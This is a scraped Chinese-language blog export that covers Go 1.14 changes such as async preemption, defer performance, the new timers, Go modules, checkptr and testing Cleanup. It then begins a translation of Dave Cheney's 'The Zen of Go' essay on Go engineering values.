interface的支持仅限于接口定义中，如果你要在struct定义中嵌入interface，比如像下面这样：\n// go1.14-examples/overlapping_interface1.go package main type I interface { f() String() string } type implOfI struct{} func (implOfI) f() {} func (implOfI) String() string { return \u0026quot;implOfI\u0026quot; } type J interface { g() String() string } type implOfJ struct{} func (implOfJ) g() {} func (implOfJ) String() string { return \u0026quot;implOfJ\u0026quot; } type Foo struct { I J } func main() { f := Foo{ I: implOfI{}, J: implOfJ{}, } println(f.String()) } 虽然Go编译器没有直接指出结构体Foo中嵌入的两个接口I和J存在方法的重叠，但在使用Foo结构体时，下面的编译器错误肯定还是会给出的：\n$ go run overlapping_interface1.go # command-line-arguments ./overlapping_interface1.go:37:11: ambiguous selector f.String 对于结构体中嵌入的接口的方法集是否存在overlap，go编译器似乎并没有严格做“实时”检查，这个检查被延迟到为结构体实例选择method的执行者环节了，就像上面例子那样。如果我们此时让Foo结构体 override一个String方法，那么即便I和J的方法集存在overlap也是无关紧要的，因为编译器不会再模棱两可，可以正确的为Foo实例选出究竟执行哪个String方法：\n// go1.14-examples/overlapping_interface2.go .... .... func (Foo) String() string { return \u0026quot;Foo\u0026quot; } func main() { f := Foo{ I: implOfI{}, J: implOfJ{}, } println(f.String()) } 运行该代码： $go run overlapping_interface2.go Foo 二. Go运行时 1. 支持异步抢占式调度 在《Goroutine调度实例简要分析》一文中，我曾提到过这样一个例子：\n// go1.14-examples/preemption_scheduler.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;runtime\u0026quot; \u0026quot;time\u0026quot; ) func deadloop() { for { } } func main() { runtime.GOMAXPROCS(1) go deadloop() for { time.Sleep(time.Second * 1) fmt.Println(\u0026quot;I got scheduled!\u0026quot;) } } 在只有一个P的情况下，上面的代码中deadloop所在goroutine将持续占据该P，使得main goroutine中的代码得不到调度(GOMAXPROCS=1的情况下)，因此我们无法看到I got scheduled!字样输出。这是因为Go 1.13及以前的版本的抢占是”协作式“的，只在有函数调用的地方才能插入“抢占”代码(埋点)，而deadloop没有给编译器插入抢占代码的机会。这会导致GC在等待所有goroutine停止时等待时间过长，从而导致GC延迟；甚至在一些特殊情况下，导致在STW（stop the world）时死锁。\nGo 1.14采用了基于系统信号的异步抢占调度，这样上面的deadloop所在的goroutine也可以被抢占了：\n// 使用Go 1.14版本编译器运行上述代码 $go run preemption_scheduler.go I got scheduled! I got scheduled! I got scheduled! 不过由于系统信号可能在代码执行到任意地方发生，在Go runtime能cover到的地方，Go runtime自然会处理好这些系统信号。但是如果你是通过syscall包或golang.org/x/sys/unix在Unix/Linux/Mac上直接进行系统调用，那么一旦在系统调用执行过程中进程收到系统中断信号，这些系统调用就会失败，并以EINTR错误返回，尤其是低速系统调用，包括：读写特定类型文件(管道、终端设备、网络设备)、进程间通信等。在这样的情况下，我们就需要自己处理EINTR错误。一个最常见的错误处理方式就是重试。对于可重入的系统调用来说，在收到EINTR信号后的重试是安全的。如果你没有自己调用syscall包，那么异步抢占调度对你已有的代码几乎无影响。\nGo 1.14的异步抢占调度在windows/arm, darwin/arm, js/wasm, and plan9/*上依然尚未支持，Go团队计划在Go 1.15中解决掉这些问题。\n2. defer性能得以继续优化 在Go 1.13中，defer性能得到理论上30%的提升。我们还用那个例子来看看go 1.14与go 1.13版本相比defer性能又有多少提升，同时再看看使用defer和不使用defer的对比：\n// go1.14-examples/defer_benchmark_test.go package defer_test import \u0026quot;testing\u0026quot; func sum(max int) int { total := 0 for i := 0; i \u0026lt; max; i++ { total += i } return total } func foo() { defer func() { sum(10) }() sum(100) } func Bar() { sum(100) sum(10) } func BenchmarkDefer(b *testing.B) { for i := 0; i \u0026lt; b.N; i++ { foo() } } func BenchmarkWithoutDefer(b *testing.B) { for i := 0; i \u0026lt; b.N; i++ { Bar() } } 我们分别用Go 1.13和Go 1.14运行上面的基准测试代码：\nGo 1.13: $go test -bench . defer_benchmark_test.go goos: darwin goarch: amd64 BenchmarkDefer-8 17873574 66.7 ns/op BenchmarkWithoutDefer-8 26935401 43.7 ns/op PASS ok command-line-arguments 2.491s Go 1.14: $go test -bench . defer_benchmark_test.go goos: darwin goarch: amd64 BenchmarkDefer-8 26179819 45.1 ns/op BenchmarkWithoutDefer-8 26116602 43.5 ns/op PASS ok command-line-arguments 2.418s 我们看到，Go 1.14的defer性能照比Go 1.13还有大幅提升，并且已经与不使用defer的性能相差无几了，这也是Go官方鼓励大家在性能敏感的代码执行路径上也大胆使用defer的原因。\n图：各个Go版本defer性能对比(图来自于https://twitter.com/janiszt/status/1215601972281253888)\n3. internal timer的重新实现 鉴于go timer长期以来性能不能令人满意，Go 1.14几乎重新实现了runtime层的timer。其实现思路遵循了Dmitry Vyukov几年前提出的实现逻辑：将timer分配到每个P上，降低锁竞争；去掉timer thread，减少上下文切换开销；使用netpoll的timeout实现timer机制。\n// $GOROOT/src/runtime/time.go type timer struct { // If this timer is on a heap, which P's heap it is on. // puintptr rather than *p to match uintptr in the versions // of this struct defined in other packages. pp puintptr } // addtimer adds a timer to the current P. // This should only be called with a newly created timer. // That avoids the risk of changing the when field of a timer in some P's heap, // which could cause the heap to become unsorted. func addtimer(t *timer) { // when must never be negative; otherwise runtimer will overflow // during its delta calculation and never expire other runtime timers. if t.when \u0026lt; 0 { t.when = maxWhen } if t.status != timerNoStatus { badTimer() } t.status = timerWaiting addInitializedTimer(t) } // addInitializedTimer adds an initialized timer to the current P. func addInitializedTimer(t *timer) { when := t.when pp := getg().m.p.ptr() lock(\u0026amp;pp.timersLock) ok := cleantimers(pp) \u0026amp;\u0026amp; doaddtimer(pp, t) unlock(\u0026amp;pp.timersLock) if !ok { badTimer() } wakeNetPoller(when) } ... ... 这样你的程序中如果大量使用time.After、time.Tick或者在处理网络连接时大量使用SetDeadline，使用Go 1.14编译后，你的应用将得到timer性能的自然提升。\n图：切换到新timer实现后的各Benchmark数据\n三. Go module已经production ready了 Go 1.14中带来的关于go module的最大惊喜就是Go module已经production ready了，这意味着关于go module的运作机制，go tool的各种命令和其参数形式、行为特征已趋稳定了。笔者从Go 1.11引入go module以来就一直关注和使用Go module，尤其是Go 1.13中增加go module proxy的支持，使得中国大陆的gopher再也不用为获取类似golang.org/x/xxx路径下的module而苦恼了。\nGo 1.14中go module的主要变动如下：\na) module-aware模式下对vendor的处理：如果go.mod中go version是go 1.14及以上，且当前repo顶层目录下有vendor目录，那么go工具链将默认使用vendor(即-mod=vendor)中的package，而不是module cache中的($GOPATH/pkg/mod下)。同时在这种模式下，go 工具会校验vendor/modules.txt与go.mod文件，它们需要保持同步，否则报错。\n在上述前提下，如要非要使用module cache构建，则需要为go工具链显式传入-mod=mod ，比如：go build -mod=mod ./...。\nb) 增加GOINSECURE，可以不再要求非得以https获取module，或者即便使用https，也不再对server证书进行校验。\nc) 在module-aware模式下，如果没有建立go.mod或go工具链无法找到go.mod，那么你必须显式传入要处理的go源文件列表，否则go tools将需要你明确go.mod。比如：在一个没有go.mod的目录下，要编译一个hello.go，我们需要使用go build hello.go(hello.go需要显式放在命令后面），如果你执行go build .就会得到类似如下错误信息：\n$go build . go: cannot find main module, but found .git/config in /Users/tonybai to create a module there, run: cd .. \u0026amp;\u0026amp; go mod init 也就是说在没有go.mod的情况下，go工具链的功能是受限的。\nd) go module支持subversion仓库了，不过subversion使用应该很“小众”了。\n要系统全面的了解go module的当前行为机制，建议还是通读一遍Go command手册中关于module的说明以及官方go module wiki。\n四. 编译器 Go 1.14 go编译器在-race和-msan的情况下，默认会执行-d=checkptr，即对unsafe.Pointer的使用进行合法性检查，主要检查两项内容：\n当将unsafe.Pointer转型为*T时，T的内存对齐系数不能高于原地址的 比如下面代码：\n// go1.14-examples/compiler_checkptr1.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;unsafe\u0026quot; ) func main() { var byteArray = [10]byte{'a', 'b', 'c'} var p *int64 = (*int64)(unsafe.Pointer(\u0026amp;byteArray[1])) fmt.Println(*p) } 以-race运行上述代码：\n$go run -race compiler_checkptr1.go fatal error: checkptr: unsafe pointer conversion goroutine 1 [running]: runtime.throw(0x11646fd, 0x23) /Users/tonybai/.bin/go1.14/src/runtime/panic.go:1112 +0x72 fp=0xc00004cee8 sp=0xc00004ceb8 pc=0x106d152 runtime.checkptrAlignment(0xc00004cf5f, 0x1136880, 0x1) /Users/tonybai/.bin/go1.14/src/runtime/checkptr.go:13 +0xd0 fp=0xc00004cf18 sp=0xc00004cee8 pc=0x1043b70 main.main() /Users/tonybai/go/src/github.com/bigwhite/experiments/go1.14-examples/compiler_checkptr1.go:10 +0x70 fp=0xc00004cf88 sp=0xc00004cf18 pc=0x11283b0 runtime.main() /Users/tonybai/.bin/go1.14/src/runtime/proc.go:203 +0x212 fp=0xc00004cfe0 sp=0xc00004cf88 pc=0x106f7a2 runtime.goexit() /Users/tonybai/.bin/go1.14/src/runtime/asm_amd64.s:1373 +0x1 fp=0xc00004cfe8 sp=0xc00004cfe0 pc=0x109b801 exit status 2 checkptr检测到：转换后的int64类型的内存对齐系数严格程度要高于转化前的原地址(一个byte变量的地址)。int64对齐系数为8，而一个byte变量地址对齐系数仅为1。\n做完指针算术后，转换后的unsafe.Pointer仍应指向原先Go堆对象\ncompiler_checkptr2.go package main\nimport ( \u0026ldquo;unsafe\u0026rdquo; )\nfunc main() { var n = 5 b := make([]byte, n) end := unsafe.Pointer(uintptr(unsafe.Pointer(\u0026amp;b[0])) + uintptr(n+10)) _ = end }\n运行上述代码：\n$go run -race compiler_checkptr2.go fatal error: checkptr: unsafe pointer arithmetic goroutine 1 [running]: runtime.throw(0x10b618b, 0x23) /Users/tonybai/.bin/go1.14/src/runtime/panic.go:1112 +0x72 fp=0xc00003e720 sp=0xc00003e6f0 pc=0x1067192 runtime.checkptrArithmetic(0xc0000180b7, 0xc00003e770, 0x1, 0x1) /Users/tonybai/.bin/go1.14/src/runtime/checkptr.go:41 +0xb5 fp=0xc00003e750 sp=0xc00003e720 pc=0x1043055 main.main() /Users/tonybai/go/src/github.com/bigwhite/experiments/go1.14-examples/compiler_checkptr2.go:10 +0x8d fp=0xc00003e788 sp=0xc00003e750 pc=0x1096ced runtime.main() /Users/tonybai/.bin/go1.14/src/runtime/proc.go:203 +0x212 fp=0xc00003e7e0 sp=0xc00003e788 pc=0x10697e2 runtime.goexit() /Users/tonybai/.bin/go1.14/src/runtime/asm_amd64.s:1373 +0x1 fp=0xc00003e7e8 sp=0xc00003e7e0 pc=0x1092581 exit status 2 checkptr检测到转换后的unsafe.Pointer已经超出原先heap object: b的范围了，于是报错。\n不过目前Go标准库依然尚未能完全通过checkptr的检查，因为有些库代码显然违反了unsafe.Pointer的使用规则。\nGo 1.13引入了新的Escape Analysis，Go 1.14中我们可以通过-m=2查看详细的逃逸分析过程日志，比如：\n$go run -gcflags '-m=2' compiler_checkptr2.go # command-line-arguments ./compiler_checkptr2.go:7:6: can inline main as: func() { var n int; n = 5; b := make([]byte, n); end := unsafe.Pointer(uintptr(unsafe.Pointer(\u0026amp;b[0])) + uintptr(n + 100)); _ = end } ./compiler_checkptr2.go:9:11: make([]byte, n) escapes to heap: ./compiler_checkptr2.go:9:11: flow: {heap} = \u0026amp;{storage for make([]byte, n)}: ./compiler_checkptr2.go:9:11: from make([]byte, n) (non-constant size) at ./compiler_checkptr2.go:9:11 ./compiler_checkptr2.go:9:11: make([]byte, n) escapes to heap 五. 标准库 每个Go版本，变化最多的就是标准库，这里我们挑一个可能影响后续我们编写单元测试行为方式的变化说说，那就是testing包的T和B类型都增加了自己的Cleanup方法。我们通过代码来看一下Cleanup方法的作用：\n// go1.14-examples/testing_cleanup_test.go package main import \u0026quot;testing\u0026quot; func TestCase1(t *testing.T) { t.Run(\u0026quot;A=1\u0026quot;, func(t *testing.T) { t.Logf(\u0026quot;subtest1 in testcase1\u0026quot;) }) t.Run(\u0026quot;A=2\u0026quot;, func(t *testing.T) { t.Logf(\u0026quot;subtest2 in testcase1\u0026quot;) }) t.Cleanup(func() { t.Logf(\u0026quot;cleanup1 in testcase1\u0026quot;) }) t.Cleanup(func() { t.Logf(\u0026quot;cleanup2 in testcase1\u0026quot;) }) } func TestCase2(t *testing.T) { t.Cleanup(func() { t.Logf(\u0026quot;cleanup1 in testcase2\u0026quot;) }) t.Cleanup(func() { t.Logf(\u0026quot;cleanup2 in testcase2\u0026quot;) }) } 运行上面测试：\n$go test -v testing_cleanup_test.go === RUN TestCase1 === RUN TestCase1/A=1 TestCase1/A=1: testing_cleanup_test.go:8: subtest1 in testcase1 === RUN TestCase1/A=2 TestCase1/A=2: testing_cleanup_test.go:12: subtest2 in testcase1 TestCase1: testing_cleanup_test.go:18: cleanup2 in testcase1 TestCase1: testing_cleanup_test.go:15: cleanup1 in testcase1 --- PASS: TestCase1 (0.00s) --- PASS: TestCase1/A=1 (0.00s) --- PASS: TestCase1/A=2 (0.00s) === RUN TestCase2 TestCase2: testing_cleanup_test.go:27: cleanup2 in testcase2 TestCase2: testing_cleanup_test.go:24: cleanup1 in testcase2 --- PASS: TestCase2 (0.00s) PASS ok command-line-arguments 0.005s 我们看到：\nCleanup方法运行于所有测试以及其子测试完成之后。\nCleanup方法类似于defer，先注册的cleanup函数后执行（比如上面例子中各个case的cleanup1和cleanup2）。\n在拥有Cleanup方法前，我们经常像下面这样做：\n// go1.14-examples/old_testing_cleanup_test.go package main import \u0026quot;testing\u0026quot; func setup(t *testing.T) func() { t.Logf(\u0026quot;setup before test\u0026quot;) return func() { t.Logf(\u0026quot;teardown/cleanup after test\u0026quot;) } } func TestCase1(t *testing.T) { f := setup(t) defer f() t.Logf(\u0026quot;test the testcase\u0026quot;) } 运行上面测试：\n$go test -v old_testing_cleanup_test.go === RUN TestCase1 TestCase1: old_testing_cleanup_test.go:6: setup before test TestCase1: old_testing_cleanup_test.go:15: test the testcase TestCase1: old_testing_cleanup_test.go:8: teardown/cleanup after test --- PASS: TestCase1 (0.00s) PASS ok command-line-arguments 0.005s 有了Cleanup方法后，我们就不需要再像上面那样单独编写一个返回cleanup函数的setup函数了。\n此次Go 1.14还将对unicode标准的支持从unicode 11 升级到 unicode 12 ，共增加了554个新字符。\n六. 其他 超强的可移植性是Go的一个知名标签，在新平台支持方面，Go向来是“急先锋”。Go 1.14为64bit RISC-V提供了在linux上的实验性支持(GOOS=linux, GOARCH=riscv64)。\nrust语言已经通过cargo-fuzz从工具层面为fuzz test提供了基础支持。Go 1.14也在这方面做出了努力，并且Go已经在向将fuzz test变成Go test的一等公民而努力。\n七. 小结 Go 1.14的详细变更说明在这里可以查看。整个版本的milestone对应的issue集合在这里。\n不过目前Go 1.14在特定版本linux内核上会出现crash的问题，当然这个问题源于这些内核的一个已知bug。在这个issue中有关于这个问题的详细说明，涉及到的Linux内核版本包括：5.2.x, 5.3.0-5.3.14, 5.4.0-5.4.1。\n本篇博客涉及的代码在这里可以下载。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/03/08/some-changes-in-go-1-14/","summary":"\u003cp\u003e可能是得益于2020年2月26日\u003ca href=\"https://blog.golang.org/go1.14\"\u003eGo 1.14的发布\u003c/a\u003e，在2020年3月份的\u003ca href=\"https://tiobe.com/tiobe-index/\"\u003eTIOBE编程语言排行榜\u003c/a\u003e上，Go重新进入TOP 10，而去年同期Go仅排行在第18位。虽然\u003ca href=\"https://tonybai.com/tag/go\"\u003eGo语言\u003c/a\u003e以及其他主流语言在榜单上的“上蹿下跳”让这个榜单的权威性饱受质疑:)，但Go在这样的一个时间节点能进入TOP 10，对于Gopher和Go社区来说，总还是一个不错的结果。并且在一定层度上说明：\u003ca href=\"https://tonybai.com/2019/11/09/go-opensource-10-years/\"\u003eGo在努力耕耘十年\u003c/a\u003e后，已经在世界主流编程语言之林中牢牢占据了自己的一个位置。\u003c/p\u003e","title":"Go 1.14中值得关注的几个变化"},{"content":"本文翻译自Go社区知名Gopher和博主Dave Cheney的文章《The Zen of Go》。\n本文来自我在GopherCon Israel 2020上的演讲。文章很长:) 如果您希望阅读精简版，请移步到the-zen-of-go.netlify.com。\n该演讲视频还未上线。如上线，我会把它更新到本文中的。\n我应该如何编写出好代码？ 我最近一直在思考很多事情，每当反思自己的工作成果时，眼前常会出现一行字幕：我该如何编写出好代码？ 主观上，没人愿意去编写糟糕的代码，那么问题来了：你是怎么知道你编写出好的Go代码了呢？\n如果好与坏之间存在连续性，那么我们怎么知道哪些是好的部分？它的特性、属性、标志、模式和惯用法又是什么呢？\nGo语言惯用法(idiomatic Go) 这让我走进Go惯用法。说某种东西是惯用的，就是说它遵循了时代的风格。如果某些东西不是惯用的，那它没有遵循流行的风格，感觉不时髦。\n更重要的是，对某人说他们的代码不复合惯用法并不能解释为什么这些代码不符合惯用法。为什么会这样？像所有真相一样，答案可以在词典中找到：\nidiom (noun): a group of words established by usage as having a meaning not deducible from those of the individual words. 惯用法（名词）：一组由用法确定的且其含义无法从单个单词的含义中推导出来的单词。 惯用法是共享价值观(value)的标志。Go惯用法不是您从书本中学到的东西，而是通过成为社区的一部分而获得的。\nGo惯用法字样用多了，便形成了“口头禅”，这引起我的担忧：这种口头禅在许多方面它可能是具有排他性的。比如：有人说“你不能和我们坐在一起。” 但毕竟这不是我们批评某人的代码不符合惯用法时的索要表达的意思，是吧？他们只是没有做对，看起来不对，它没有遵循流行的风格而已。\n我认为Go惯用法不是教如何编写好的Go代码的合适机制，因为从根本上说，它仍然告诉某人做错了(译注：这容易引起对方反感)。如果在他们最愿意接受建议的时候，我们给出让他们不感觉疏远的建议是否会更好些？\n谚语(Proverbs) 摆脱有问题的惯用法，Gopher们还有哪些其他的文化手工艺品吗？也许我们可以转向Rob Pike精彩的**Go 谚语**。这些谚语是合适的教学工具吗？它们会告诉Go新手如何编写好的Go代码吗？\n总的来说，我不这么认为。这并不是要驳斥Rob Pike的作品。只是像濑越宪作（Segoe Kensaku）的原著一样，Go谚语只是观察，而不是价值观的陈述。我们再次搬出字典：\nproverb (noun): a short, well-known pithy saying, stating a general truth or piece of advice. 谚语（名词）：简短而众所周知的俗语，陈述一般的真理或一段忠告。 Go Proverbs的目的是揭示有关语言设计的更深层次的真理，但是像empty interface says nothing这样的建议对于一个来自商没有结构化类型的语言的新手来说有什么用呢？\n重要的是要认识到，在一个不断发展的社区中，任何时候学习Go语言的人的数量都远超过那些声称掌握了该语言的人的数量。因此，在这种情况下，谚语可能也不是最佳的教学工具。\n工程价值观 丹·卢（Dan Luu）找到了马克·卢科夫斯基（Mark Lucovsky）关于Windows团队在Windows NT-Windows 2000开发阶段时的工程文化的**演讲**。我之所以提到它，是因为卢科夫斯基将一种文化描述为一种评估设计和权衡取舍的常用方法。\n讨论文化的方法有很多，但是就工程文化而言，Lucovsky的描述是恰当的。其中心思想是在未知的设计空间中用价值观指导决策。Windows NT团队的价值观是：可移植性，可靠性，安全性和可扩展性。粗略地说工程价值观就是在这里完成工作的方式。\nGo的价值观 Go的显式价值观是什么呢？定义Go程序员解释世界方式的核心信念或哲学又是什么？他们如何发布宣传？他们怎么传授？如何执行？它们又是如何随着时间变化的？\n作为新Go程序员，您将如何被灌输Go的工程价值观？或者，你是一位经验丰富的Go专家，你如何将你的价值观传播给“下一代”？就像我们知道的那样，知识传递的过程不是一个可选项。没有新的血液和新的观念，我们的社区将变得短视和枯萎。\n其他语言的价值观 为了给我所要了解的场景做铺垫，我们可以先看看其他语言，我们看看它们的工程价值观。\n例如，C++（包括其扩展：Rust）认为程序员不必为自己不使用的特性付费。如果程序未使用该语言的某些计算成本昂贵的特性，则不应强迫该程序承担该特性的成本。该价值观从语言扩展到其标准库，并用作判断所有用C++编写的代码设计的标准。\n在Java，Ruby和Smalltalk中，一切都是对象的核心价值观驱动着围绕着消息传递，信息隐藏和多态的程序设计风格。在程序中采用过程式或函数式设计风格会被认为是错误的，或者按照Gophers的说法，是不符合惯用法的。\n回到我们自己的Go社区，烙印在Go程序员心中的工程价值观是什么呢？在我们社区中的讨论是很容易引战的，因此要从第一条原则衍生出一套价值观念将是一个巨大的挑战。共识很关键，但随着讨论贡献者数量的增加，难度就成倍增加。但是，如果有人已经为我们完成了这些艰苦的工作了呢？\nPython Go之禅 几十年前，蒂姆·彼得斯（Tim Peters）坐下来写下了PEN-20（Python之禅）。Peters试图记录他认为**Guido van Rossum(Python之父)**在Python社区扮演的BDFL(仁慈的独裁者)角色时所应用的工程价值观。\n在本文的剩余部分中，我将着眼于Python之禅，并问问大家：是否有什么可以用来揭秘Go程序员的工程价值观的？\n一个好的package始于一个好名字 让我们从香辛的东西开始\n“Namespaces are one honking great idea–let’s do more of those!” The Zen of Python, Item 19 “命名空间是一个很棒的主意-让我们多做些吧！” Python之禅，条款19 这是相当明确的，Python程序员应该使用命名空间，多多益善。\npackage就是Go语言的命名空间。我怀疑是否有人质疑将组件分组到程序包中利好设计和潜在重用。但关于这么做的正确方法的困惑肯定会有的，尤其是你拥有另一门语言10年的使用经验。\n在Go中，每个程序包都应有一个目的/用途，而了解程序包目的/用途的最佳方法是通过其名字-一个名词。包的名字描述了它提供的内容。因此，这里重新解释一下Peters的话：每个Go软件包(package)都应该仅有一个单一的目的/用途。\n这不是一个新主意，我已经说了一段时间了，但是为什么要这样做而不是使用将软件包用于细粒度分类的方法呢？为什么，因为变化(change)。\n“Design is the art of arranging code to work today, and be changeable forever.” - Sandi Metz “设计是安排代码以使其至今天仍然可以工作并且永远可以更改的艺术。” - 桑迪·梅斯 变化是我们所从事的游戏的名称(译注：这里的游戏指代程序开发工作)。作为程序员，我们要做的就是管理变变化。当我们做得很好时，我们称之为设计或架构。当我们做得不好时，我们称其为技术债务或遗留代码。\n如果你编写的程序对于一组固定的输入可以一次性地完美地工作，那么没人会在乎代码的好坏，因为最终程序的输出才是企业和业务所关心的。\n但这是不正确的。软件具有缺陷(bug)，需求变更，输入变更，并且很少有程序被编写为仅执行一次，因此您的程序会随着时间而变化。可能是您要为此承担任务，更有可能是其他人，但是必须更改该代码。有人必须维护该代码。\n那么，如何使程序更改变得容易呢？无所不在的接口？使一切变得易于mock？邪恶的依赖注入(译注：作者对DI似乎很排斥，用了带有感情色彩的词汇)？好吧，也许，对于某类程序，但不是很多，这些技术将很有用。但是，对于大多数程序而言，预先设计一些灵活的方法要比工程设计更为重要。\n相反，如果我们采取的立场是取代组件而不是增强组件，该怎么办？知道何时需要更换某些物品的最佳方法是什么时候该物品没有按照锡盒/罐头盒上的说明进行操作。\n一个好的包始于选择一个好的名字。把你的包名字想象成电梯游说（Elevator pitch，即用极具吸引力的方式简明扼要地阐述自己的观点）， 仅用一个词就可以描述包的内容。当名字不再符合要求时，请查找替代名字。\n简单性很重要 “Simple is better than complex.” - The Zen of Python, Item 3 “简单胜于复杂。” - Python之禅，条款3 PEP-20说：简单胜于复杂，我完全同意。几年前，我发布了这条推文:\n大多数编程语言开始都是为了简单，但最终只是为了功能强大而努力。— Dave Cheney（@davecheney）2014年12月2日 至少在当时，我的观察是，我想不出一生中使用的哪门语言不标榜着简单。每种新语言都为其固有的简单性提供了理由和诱因。但是，当我研究时，我发现简单性并不是与Go语言同时代的许多现代语言的核心价值观。也许这只是一个便宜的镜头1，但是可能是这些语言不是很简单，或者它们不认为自己很简单。他们不认为简单是其核心价值观。\n但是什么时候简单变得过时了？为什么商业软件开发行业会忘记这个基本原则？\n“There are two ways of constructing a software design: One way is to make it so simple that there are obviously no deficiencies, and the other way is to make it so complicated that there are no obvious deficiencies. The first method is far more difficult.” - C. A. R. Hoare, The Emperor’s Old Clothes, 1980 Turing Award Lecture “构建软件设计的方式有两种：一种方式是使其变得如此简单，以至于显然没有缺陷，另一种方式是使得它变得如此复杂以至于没有明显的缺陷。第一种方法要困难得多。” - CAR Hoare，皇帝的旧衣，1980年图灵奖演讲 我们知道：简单并不意味着容易。通常，使某些东西易于使用而不是易于构建需要更多的工作。\n“Simplicity is prerequisite for reliability.” - Edsger W Dijkstra, EWD498, 18 June 1975 “简单性是可靠性的前提。”- 埃兹格·迪克斯特拉（Essger W Dijkstra），EWD498，1975年6月18日 我们为什么要追求简单？为什么Go程序简单很重要？简单并不意味着粗糙，它意味着可读性和可维护性。简单并不意味着“不复杂”，它意味着可靠，有共鸣且易于理解。\n“Controlling complexity is the essence of computer programming.” - Brian W. Kernighan, Software Tools (1976) “控制复杂性是计算机编程的本质。” - Brian W. Kernighan，软件工具 （1976） Python是否遵守其简单性的说法尚有争议，但Go坚持将简单性作为核心价值观。我认为我们都可以认同，就Go而言，简单代码比聪明代码更可取。\n避免包级别状态 “Explicit is better than implicit.” - The Zen of Python, Item 2 “显式胜于隐式。” - Python的禅宗，第2项 我认为彼得斯在这个地方的抱负胜于实际。Python中的许多内容并不明确；装饰器，dunder方法(译注：不知此为何物)等。毫无疑问，这些特性的功能强大，存在这些特性是有原因的。每个特性都是因某人非常关心的事情，尤其是复杂的特性。但是大量使用这些特性使读者很难预测操作的成本。\n好消息是，像Go程序员一样，我们可以选择显式代码。显式可能意味着很多事情，也许您可能认为显式只是一种表达官僚主义和漫长风气的好方法，但这只是肤浅的解释。只关注页面的语法、烦恼行长和自制表达式是一种错误的说法。在我看来，更有价值的地方是与耦合和状态有关。\n耦合(coupling)是衡量一件东西依赖另一件东西的数量的方法。如果两件事紧密结合，它们就会一起运动。影响其中一个事物的行为会直接反映在另一个事物中。想象一下，一列火车，每个车厢连在一起；发动机行驶到哪里，车厢就跟随到哪里。\n描述耦合的另一种方法是内聚(cohesion)一词。内聚衡量两件事自然地在一起的程度。当我们进行一个内聚的争论，或者一个内聚的团队，它们的所有零件都可以自然装配在一起，就像设计的一样。\n为什么耦合很重要？因为就像火车一样，当您需要更改一段代码时，与之紧密相关的所有代码都必须更改。一个再适合不过的例子：有人发布了他们的API的新版本，现在您的代码无法通过编译了。\nAPI是不可避免的耦合源，但是存在更多隐蔽的耦合形式。显然，每个人都知道，如果API的原型发生更改，则该调用的传入和返回数据都会发生变化。就在函数原型中；我采用这些类型的值，并返回其他类型的值。但是，如果API以其他方式传递数据怎么办？如果每次调用此API的结果都是基于上次调用该API的结果，即使您没有更改参数该怎么办？\n这是状态，状态管理是计算机科学中的问题。\npackage counter var count int func Increment(n int) int { count += n return count } 假设我们有这个简单的counter包。您可以调用Increment以增加计数器，即便传入0，你也可以得到返回值。\n假设您必须测试此代码，那么每次测试后如何重置计数器？假设您想并行运行这些测试，可以吗？现在，假设您要为每个程序进行不止一个计数，您可以这样做吗？\n不，当然不行。显然，答案是将count变量封装为类型。\npackage counter type Counter struct { count int } func (c *Counter) Increment(n int) int { c.count += n return c.count } 现在想象一下，这个问题不局限于计数器，还包括应用程序的主要业务逻辑。您可以单独测试吗？您可以并行测试吗？您一次可以使用多个实例吗？如果回答那些问题为否，则原因是软件的包级别状态。\n避免包级别状态。通过提供一种类型需要的依赖项作为该类型上的字段，而不是使用包变量，来减少耦合和怪异的行为。\n为失败而计划，而不是成功而计划 “Errors should never pass silently.” - The Zen of Python, Item 10 “错误绝不能默默传递。” - Python之禅，条款10 有人说过，支持异常处理的语言遵循武士原则(Samurai principle)。要么全胜归来，要么(失败)全不回来。在基于异常的语言中，函数仅返回有效结果。如果他们没有成功，那么控制流程将采纳完全不同的路径。\n未检查的异常显然是不安全的编程模型。当您不知道哪些语句可能引发异常时，如何在存在错误的情况下编写健壮的代码？Java尝试通过引入checked exception的概念来使异常更安全，据我所知，这种checked exception在另一种主流语言中没有被引入。有很多使用异常的语言，但是除了Java，所有语言都使用未经检查的各种异常(unchecked exception)。\n显然，Go选择了不同的路径。Go程序员认为，健壮的程序是由处理失败情况的片段组成的，然后再处理happy path。在Go设计的空间中：服务器程序，多线程程序，处理网络输入的程序，如果要构建可靠的程序，那么处理意外数据、超时、连接失败和损坏的数据必须是程序员的首要任务。\n“I think that error handling should be explicit, this should be a core value of the language.” - Peter Bourgon, GoTime #91 “我认为错误处理应该是显式的，这应该是语言的一个核心价值观。” - 彼得·布尔贡（Peter Bourgon），GoTime＃91 我想回应彼得的主张，因为这是本文的动力。我认为Go的成功很大程度上归功于显式的处理错误的方式。Go程序员首先考虑失败情况。我们首先解决如果...怎么办的情况。这导致程序在编写时处理故障，而不是在生产中处理故障。\n反复出现的下面代码片段：\nif err != nil { return err } 所付出的成本已基本被在故障发生时刻意处理每个故障情况的价值超过了(译者注：上面的重复代码段也是利大于弊)。关键还在于显式处理每个错误的文化价值观。\n早点返回，而不是深层嵌套 “Flat is better than nested.” - The Zen of Python, Item 5 “扁平比嵌套更好。” - Python的禅宗，条款5 